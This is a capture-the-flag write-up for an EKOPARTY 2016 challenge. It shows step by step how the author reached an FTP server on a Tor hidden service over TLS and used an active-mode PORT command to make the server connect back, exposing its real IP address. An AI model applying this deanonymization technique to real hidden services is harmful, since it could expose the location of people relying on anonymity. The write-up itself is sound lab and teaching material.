| tags:network categories:Writeups series:EKOPARTY 2016
EKOPARTY 2016 - Secure Upload Hidden Service
We need to connect to a FTP server on a tor hidden service.
First, let’s just try to netcat in:
$ ncat --proxy 127.0.0.1:9050 --proxy-type socks5 ekoftpitv7ifjqrh.onion 21
220 Welcome to Secure Upload Hidden Services 1.0
FEAT
211-Features:
AUTH TLS
UTF8
EPRT
EPSV
MDTM
PASV
PBSZ
PROT
REST STREAM
SIZE
TVFS
211 End
USER anonymous
530 Anonymous sessions must use encryption.
So well, seems like we’re out of luck, and need to get AUTH TLS working. Good thing there’s a nice and readable RFC hhandy. Basically, we need to send AUTH TLS, then do our TLS negotiation. The good news is, openssl s_client can do that for us, the bad news is, it doesn’t want to use a SOCKS proxy. So I whip up some socat magic:
$ echo ncat --proxy 127.0.0.1:9050 --proxy-type socks5 ekoftpitv7ifjqrh.onion 21 > ./connect.sh
$ chmod +x ./connect.sh
$ socat tcp-l:7777,reuseaddr,fork system:'./connect.sh',nofork
Et voilà:
$ openssl s_client -connect localhost:7777 -starttls ftp
CONNECTED(00000003)
depth=0 /C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
verify return:1
---
Certificate chain
0 s:/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
i:/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIGHTCCBAWgAwIBAgIJAMx90MU+nYpiMA0GCSqGSIb3DQEBCwUAMIGkMQswCQYD
VQQGEwJDTzEVMBMGA1UECAwMQnVlbm9zIEFpcmVzMRU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buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
---
No client certificate CA names sent
---
SSL handshake has read 1829 bytes and written 734 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : AES256-SHA
Session-ID: 427F5C627AA043CA3B77D1449B70D3995CC6F44E3429F3398D3F5D8060D902BF
Session-ID-ctx:
Master-Key: 83DB21B2D98EB8AEDDACB6803B73AE9FA933C6720C779DFC19EB073F3F39E68BEDD41AFD77F135C80FE889F5AD6FD19F
Key-Arg : None
Start Time: 1477612961
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
220 Welcome to Secure Upload Hidden Services 1.0
USER anonymous
331 Please specify the password.
PASS tasteless
230 Login successful.
So how are we going to do the deanonymization? Probably we can use PORT to make the server connect back to us, so let’s try to use that to our advantage, and ask the server to connect on port 1337 (1337 is 0x539, in two separate bytes that becomes 0x5,0x39 which is 5,59)
PORT XXX,XXX,XXX,XXX,5,57
200 PORT command successful. Consider using PASV.
LIST
522 Data connections must be encrypted.
… Aaand still no backconnect. Closer reading of the spec shows that we’ll have to negotiate data protection for the data connection first:
PORT XXX,XXX,XXX,XXX,5,57
200 PORT command successful. Consider using PASV.
PBSZ 0
200 PBSZ set to 0.
PROT P
200 PROT now Private.
LIST
150 Here comes the directory listing.
and as promised, the backconnect in tcpdump port 1337:
$ tcpdump port 1337
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:17:24.213102 IP ec2-52-55-103-18.compute-1.amazonaws.com.1337 > ubuntu-512mb-nyc3-01.1337: Flags [S], seq 3845226324, win 29200, options [mss 1460,sackOK,TS val 2717834 ecr 0,nop,wscale 7], length 0
00:17:24.213140 IP ubuntu-512mb-nyc3-01.1337 > ec2-52-55-103-18.compute-1.amazonaws.com.1337: Flags [S.], seq 2941498641, ack 3845226325, win 28960, options [mss 1460,sackOK,TS val 799935 ecr 2717834,nop,wscale 6], length 0
00:17:24.220770 IP ec2-52-55-103-18.compute-1.amazonaws.com.1337 > ubuntu-512mb-nyc3-01.1337: Flags [.], ack 1, win 229, options [nop,nop,TS val 2717836 ecr 799935], length 0
A quick domain dig gives us the flag:
EKO{52.55.103.18}
plonk